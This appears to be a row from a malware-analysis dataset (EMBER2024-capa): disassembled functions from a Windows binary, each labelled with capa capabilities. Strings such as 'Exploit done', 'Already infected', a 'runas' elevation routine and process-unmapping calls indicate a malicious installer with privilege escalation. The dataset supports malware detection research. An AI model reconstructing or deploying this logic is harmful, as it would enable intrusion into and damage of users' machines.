joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b338
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
test esi, esi
jne 0x40b34c
xor eax, eax
jmp 0x40b444
call fcn.0040b330
xor ebx, 0xffffffff
cmp edi, 8
jb 0x40b421
xor edx, edx
sub edi, 8
mov dl, byte [esi]
inc esi
xor edx, ebx
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
xor edx, edx
mov dl, byte [esi]
mov ebx, ecx
xor edx, ebx
inc esi
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
cmp edi, 8
mov ebx, ecx
jae 0x40b35d
test edi, edi
je 0x40b43f
xor edx, edx
mov dl, byte [esi]
inc esi
xor edx, ebx
and edx, 0xff
shr ebx, 8
mov ecx, dword [eax + edx*4]
xor ecx, ebx
dec edi
mov ebx, ecx
jne 0x40b425
mov eax, ebx
xor eax, 0xffffffff
pop edi
pop esi
pop ebx
ret
Function at 0x4028d0
Capabilities:
Terminate process

Disassembly:
call fcn.00401000
push 0x18
push 0x4029f8
call fcn.004032a6
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.MSVCR120_CLR0400.dll___crtGetShowWindowMode]
movzx ebx, ax
mov dword [ebp - 4], esi
mov eax, dword fs:[0x18]
mov edx, dword [eax + 4]
mov edi, esi
mov esi, 0x4150e8
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x404373
xor esi, esi
inc esi
cmp dword [0x4150ec], esi
je 0x404385
cmp dword [0x4150ec], 0
jne 0x402a1e
mov dword [0x4150ec], esi
push 0x4029f4
push 0x4029e4
call 0x58d000
pop ecx
pop ecx
test eax, eax
jne 0x404392
cmp dword [0x4150ec], esi
jne 0x402973
push 0x4029e0
push 0x4029cc
call sub.MSVCR120_CLR0400.dll__initterm
pop ecx
pop ecx
mov dword [0x4150ec], 2
test edi, edi
jne 0x402980
xor eax, eax
mov ecx, 0x4150e8
xchg dword [ecx], eax
cmp dword [0x4150f8], 0
jne 0x4043a3
mov eax, dword [sym.imp.MSVCR120_CLR0400.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov edi, dword [ebp - 0x24]
nop
nop
nop
nop
nop
nop
mov cl, byte [esi]
cmp cl, 0x20
jbe 0x402a14
cmp cl, 0x22
je 0x4043d1
movzx eax, cl
push eax
call dword [sym.imp.MSVCR120_CLR0400.dll__ismbblead]
pop ecx
test eax, eax
jne 0x4043e2
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4029a0
test cl, cl
je 0x402a29
test edi, edi
je 0x402a29
jmp 0x4029a7
mov dword [0x415244], esi
jmp 0x402950
mov al, byte [esi]
test al, al
je 0x402a39
cmp al, 0x20
ja 0x402a39
inc esi
mov dword [ebp - 0x20], esi
jmp 0x402a29
push ebx
push esi
push 0
push 0x400000
call fcn.00403044
mov dword [0x415060], eax
cmp dword [0x415064], 0
jne 0x40441a
push eax
call dword [sym.imp.MSVCR120_CLR0400.dll_exit]
test ecx, ecx
je 0x402a82
push ecx
call fcn.0040117d
jmp 0x402a82
mov eax, esi
pop esi
pop ebp
ret 4
cmp eax, edx
jne 0x402905
xor esi, esi
inc esi
mov edi, esi
jmp 0x402918
push 0x1f
call sub.MSVCR120_CLR0400.dll__amsg_exit
pop ecx
jmp 0x402950
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x404435
push 0x4150f8
call fcn.0040fdd0
pop ecx
test eax, eax
je 0x40298d
push 0
push 2
push 0
mov esi, dword [0x4150f8]
mov ecx, esi
call dword [0x416268]
call esi
jmp 0x40298d
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x24], edi
jmp 0x4029b0
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4029c3
cmp dword [0x415244], 0
jne 0x40442e
call dword [sym.imp.MSVCR120_CLR0400.dll__cexit]
mov eax, dword [0x415060]
mov dword [ebp - 4], 0xfffffffe
call fcn.004032ee
ret
Function at 0x4084c9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d948
cmp edx, dword [eax]
je 0x4084eb
add eax, 8
inc ecx
cmp eax, 0x40d9d8
jl 0x4084dc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d948]
jne 0x408619
mov eax, dword [0xf0c7a8]
cmp eax, 1
je 0x4085f3
test eax, eax
jne 0x40851c
cmp dword [0x40d274], 1
je 0x4085f3
cmp edx, 0xfc
je 0x408619
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408553
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405300
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004053f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408596
lea eax, [ebp - 0x1a4]
push eax
call fcn.004053f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c484
push edi
call fcn.00405ec0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405300
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405310
lea eax, [ebp - 0xa0]
push 0x40c464
push eax
call fcn.00405310
push dword [esi + 0x40d94c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405310
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040a693
add esp, 0x2c
pop edi
jmp 0x408619
lea eax, [ebp + 8]
lea esi, [esi + 0x40d94c]
push 0
push eax
push dword [esi]
call fcn.004053f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push edi
push 0x103
lea eax, [ebp - 0x117]
push 0
push eax
mov byte [ebp - 0x118], 0
call sub.ntdll.dll_memset
xor eax, eax
mov byte [ebp - 0x14], 0
lea edi, [ebp - 0x13]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
push 0x1c
stosb byte es:[edi], al
pop eax
mov dword [ebp - 4], 1
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40105c
push 0x93
push 0x1b
mov edx, 0x408f90
call fcn.0040425a
push 0x104
lea ecx, [ebp - 0x118]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x401098
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x38
push str.InstallCheckAtom
push str.install.cpp
call fcn.00404366
add esp, 0x14
jmp 0x40111f
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4010a1
push 0x8003
lea ecx, [ebp - 0x14]
sub eax, edx
push ecx
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004020de
test eax, eax
jne 0x4010d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x3c
jmp 0x401081
xor al, al
lea edi, [ebp - 0x118]
mov ecx, 0x104
rep stosb byte es:[edi], al
lea eax, [ebp - 0x118]
lea edi, [ebp - 0x14]
call fcn.00402215
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x40111f
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov word [0x430060], ax
test ax, ax
je 0x40111f
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x11c]
pop edi
leave
ret
Function at 0x40112b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x207]
push ebx
push eax
mov byte [ebp - 0x208], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x103]
push ebx
push eax
mov byte [ebp - 0x104], bl
call sub.ntdll.dll_memset
add esp, 0x18
push 0x104
lea eax, [ebp - 0x104]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov esi, str.install.cpp
cmp eax, ebx
je 0x401197
mov byte [eax - 1], bl
jmp 0x4011ce
lea eax, [ebp - 0x104]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4011a0
sub eax, edx
cmp eax, ebx
lea eax, [ebp - 0x104]
jne 0x4011b8
mov eax, str.none
push eax
push str.break___s_n
push 0x66
push str.InstallFileRoutine
push esi
call fcn.00404366
add esp, 0x14
lea eax, [ebp - 0x208]
push eax
push ebx
push ebx
call fcn.00403c98
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x401209
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x70
push str.InstallFileRoutine
push esi
call fcn.00404366
add esp, 0x14
jmp 0x4012a4
lea eax, [ebp - 0x104]
push eax
lea ebx, [ebp - 0x208]
call fcn.004039cb
test eax, eax
je 0x4012a4
mov edi, ebx
call fcn.00403a95
test eax, eax
jne 0x401245
push str.break__n
push 0x7b
push str.InstallFileRoutine
push esi
call fcn.00404366
add esp, 0x10
jmp 0x4012a4
lea eax, [ebp - 0x208]
push eax
call fcn.00403ba9
test eax, eax
jne 0x401283
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x80
push str.InstallFileRoutine
push esi
call fcn.00404366
xor eax, eax
add esp, 0x14
inc eax
mov dword [0x430054], eax
mov dword [0x43005c], eax
jmp 0x4012a4
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x430068
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov dword [0x430054], 1
mov edi, 0x430068
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4012ae
sub eax, edx
jne 0x4012df
push str.break__n
push 0x92
push str.InstallFileRoutine
push esi
call fcn.00404366
add esp, 0x10
push 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40150a
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x11b]
push 0
push eax
mov byte [ebp - 0x11c], 0
call sub.ntdll.dll_memset
and dword [ebp - 4], 0
xor eax, eax
mov byte [ebp - 0x18], 0
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
push 0x1c
stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401566
push 0x93
push 0x1b
mov edx, 0x408f90
call fcn.0040425a
mov esi, 0x104
push esi
lea ecx, [ebp - 0x11c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x4015a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x137
push str.InstallSavePathRoutine
push str.install.cpp
call fcn.00404366
add esp, 0x14
jmp 0x4016c6
lea eax, [ebp - 0x11c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015af
push 0x8004
lea ecx, [ebp - 0x18]
sub eax, edx
push ecx
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004020de
test eax, eax
jne 0x4015fe
lea eax, [ebp - 0x11c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015db
sub eax, edx
lea eax, [ebp - 0x11c]
jne 0x4015f1
mov eax, str.none
push eax
push str.break___s_n
push 0x13b
jmp 0x40158f
xor al, al
lea edi, [ebp - 0x11c]
mov ecx, esi
rep stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
lea edi, [ebp - 0x18]
call fcn.00402215
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00404344
mov esi, 0x430068
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401643
sub eax, ecx
push esi
lea ecx, [ebp - 0x220]
push ecx
call fcn.00403415
test eax, eax
jne 0x4016bf
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401662
sub eax, edx
jne 0x401672
mov esi, str.none
push esi
mov edi, str.break___s_n
push edi
mov esi, 0x145
push esi
push str.InstallSavePathRoutine
mov ebx, str.install.cpp
push ebx
call fcn.00404366
lea eax, [ebp - 0x220]
add esp, 0x14
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40169b
sub eax, ecx
lea eax, [ebp - 0x220]
jne 0x4016b1
mov eax, str.none
push eax
push edi
push esi
push str.InstallSavePathRoutine
push ebx
jmp 0x401599
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x22c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4016d4
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x158]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x158], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x401731
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x197
push str.ProcessLowIntegrity
push str.install.cpp
call fcn.00404366
add esp, 0x14
jmp 0x40178b
cmp dword [ebp - 0x154], 6
jb 0x40178b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00402e40
cmp eax, 0x2000
jae 0x40178b
push ebx
push eax
push str.SysGetProcessIntegrityLevel_reutrns_0x_08x._n
push 0x1a3
mov ebx, str.ProcessLowIntegrity
push ebx
mov esi, str.install.cpp
push esi
call fcn.00404366
add esp, 0x14
call fcn.00401d0f
test eax, eax
je 0x40178e
push str.Exploit_done__n
push 0x1a7
push ebx
push esi
call fcn.00404366
add esp, 0x10
pop ebx
pop esi
leave
ret
push str.Exploit_failed._n
push 0x1aa
push ebx
push esi
call fcn.00404366
add esp, 0x10
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x4017cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x1ae
push ebx
push esi
call fcn.00404366
add esp, 0x14
jmp 0x40178a
lea eax, [ebp - 0x3c]
call fcn.00401f53
test eax, eax
je 0x4017e5
lea edi, [ebp - 0x3c]
call fcn.0040208b
test eax, eax
je 0x4017d9
push str.User_clicked__allow___n
push 0x1b6
push ebx
push esi
call fcn.00404366
add esp, 0x10
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x401808
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x104
push 0x42ff00
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00402f1a
call fcn.00402288
mov dword [0x430004], eax
call fcn.00403828
call fcn.004016d4
call section..text
test eax, eax
je 0x40186a
push str.Already_infected__n
push 0x1eb
push str.EntryPoint
push str.install.cpp
call fcn.00404366
add esp, 0x10
jmp 0x4018f9
call fcn.0040112b
cmp dword [0x430054], esi
je 0x4018c3
call fcn.0040150a
test eax, eax
jne 0x4018df
push str.break__n
push 0x1f8
push str.EntryPoint
push str.install.cpp
call fcn.00404366
add esp, 0x10
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, esi
je 0x4018bb
push 0x85
push 0x11
mov edx, 0x408f7c
call fcn.0040425a
push eax
call fcn.00402cb4
jmp 0x4018df
push str.break__n
push 0x1ff
push str.EntryPoint
push str.install.cpp
call fcn.00404366
add esp, 0x10
call fcn.004012e4
cmp dword [0x430054], esi
je 0x4018f9
cmp dword [0x43005c], esi
jne 0x4018f9
call fcn.0040354e
cmp dword [0x430058], esi
je 0x401909
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401f53
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
xor ebx, ebx
push 0x3c
mov esi, eax
push ebx
push esi
mov dword [ebp - 4], ebx
call sub.ntdll.dll_memset
add esp, 0xc
mov edi, 0x104
push edi
lea eax, [ebp - 0x424]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402083
push edi
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
test eax, eax
je 0x402083
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00401ede
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x401fcd
mov dword [ebp - 8], 0x4057a8
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x618
push 8
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x402083
push dword [ebp - 8]
lea ecx, [ebp - 0x424]
push ecx
push 0x4057ac
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x20a
push 8
call edi
push eax
call ebx
mov ebx, eax
xor eax, eax
cmp ebx, eax
je 0x402067
push ebx
push eax
push eax
push 0x25
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x402067
push 0x4057d8
push ebx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x402067
mov eax, dword [ebp - 0xc]
and dword [esi + 0x1c], 0
mov dword [ebp - 4], 1
mov dword [esi], 0x3c
mov dword [esi + 0xc], str.runas
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0x40
jmp 0x402083
push dword [ebp - 0xc]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
test ebx, ebx
je 0x402083
push ebx
push 0
call edi
push eax
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40208b
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor ebx, ebx
jmp 0x4020af
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x4020b6
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call esi
test eax, eax
je 0x402097
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
test eax, eax
je 0x4020d0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4020d9
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
inc ebx
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x4020de
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x4021d6
cmp dword [ebp + 0xc], esi
je 0x4021d6
cmp dword [ebp + 0x10], esi
je 0x4021d6
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x402138
push str.break__n
push 0x1a
jmp 0x4021dd
cmp dword [ebp - 8], esi
jne 0x402149
push str.break__n
push 0x1e
jmp 0x4021dd
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x402168
push str.break__n
push 0x22
jmp 0x4021dd
cmp dword [ebp - 4], esi
jne 0x402176
push str.break__n
push 0x26
jmp 0x4021dd
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x402193
push str.break__n
push 0x2a
jmp 0x4021dd
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
jne 0x4021b5
push str.break__n
push 0x2e
jmp 0x4021dd
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
jne 0x4021d1
push str.break__n
push 0x32
jmp 0x4021dd
xor ebx, ebx
inc ebx
jmp 0x4021ef
push str.break__n
push 0x16
push str.HashHash
push str.srchashes.cpp
call fcn.00404366
add esp, 0x10
cmp dword [ebp - 4], esi
je 0x4021fd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x40220c
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10

Function at 0x4023fa
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor esi, esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x402443
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x40245b
push 0x1388
call ebx
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push esi
call edi
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40245b
push 4
push ebx
push 9
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push dword [ebp - 4]
call fcn.00402574
jmp 0x402491
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
mov ebx, 0x8a
push ebx
mov edi, str.SysStartThread
push edi
mov esi, str.src_system.cpp
push esi
call fcn.00404366
push dword [ebp + 8]
push str.break___08x_n
push ebx
push edi
push esi
call fcn.00404366
add esp, 0x28
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40249b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push esi
push edi
xor edi, edi
push 0x124
lea eax, [esp + 0x10]
push edi
push eax
mov dword [esp + 0x14], edi
call sub.ntdll.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4024f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x9c
push str.SysGetProcessIdByName
push str.src_system.cpp
call fcn.00404366
add esp, 0x14
xor eax, eax
jmp 0x40256c
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x402524
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0xa1
jmp 0x4024e3
push dword [ebp + 8]
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402548
push dword [esp + 0x10]
push 0x100400
call fcn.0040233f
cmp eax, edi
jne 0x40255a
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402524
jmp 0x402564
push eax
call fcn.00402574
mov edi, dword [esp + 0x10]
push esi
call fcn.00402574
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4025cd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x3c
pop eax
xor edi, edi
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0x104
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x402609
push 0x81
push 0x39
mov eax, esi
mov edx, 0x408b14
call fcn.0040425a
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402628
push 0x88
push 5
mov edx, 0x408b50
call fcn.0040425a
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x10c]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
push esi
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jns 0x40266d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x1a7
push str.SysGetShellPID
push str.src_system.cpp
call fcn.00404366
add esp, 0x14
jmp 0x40267b
lea eax, [ebp - 0x10c]
push eax
call fcn.0040249b
mov edi, eax
mov eax, edi
lea esp, [ebp - 0x114]
pop edi
pop esi
leave
ret
Function at 0x40298e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
cmp edi, ebx
jne 0x4029ba
push str.break__n
push 0x2b3
push str.SysTerminateProcessByPid
push str.src_system.cpp
call fcn.00404366
add esp, 0x10
jmp 0x402a54
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, eax
jne 0x4029cb
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push 1
call fcn.0040233f
mov esi, eax
cmp esi, ebx
jne 0x4029e5
push str.break__n
push 0x2bc
jmp 0x4029a3
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x402a4b
push esi
call fcn.00402574
push edi
push 0x1fffff
call fcn.0040233f
mov esi, eax
test esi, esi
jne 0x402a14
push str.break__n
push 0x2c4
jmp 0x4029a3
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402a33
push 0x96
push 9
mov edx, 0x408a00
call fcn.0040425a
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push esi
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
xor ebx, ebx
test eax, eax
setns bl
jmp 0x402a4e
xor ebx, ebx
inc ebx
push esi
call fcn.00402574
mov eax, ebx
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret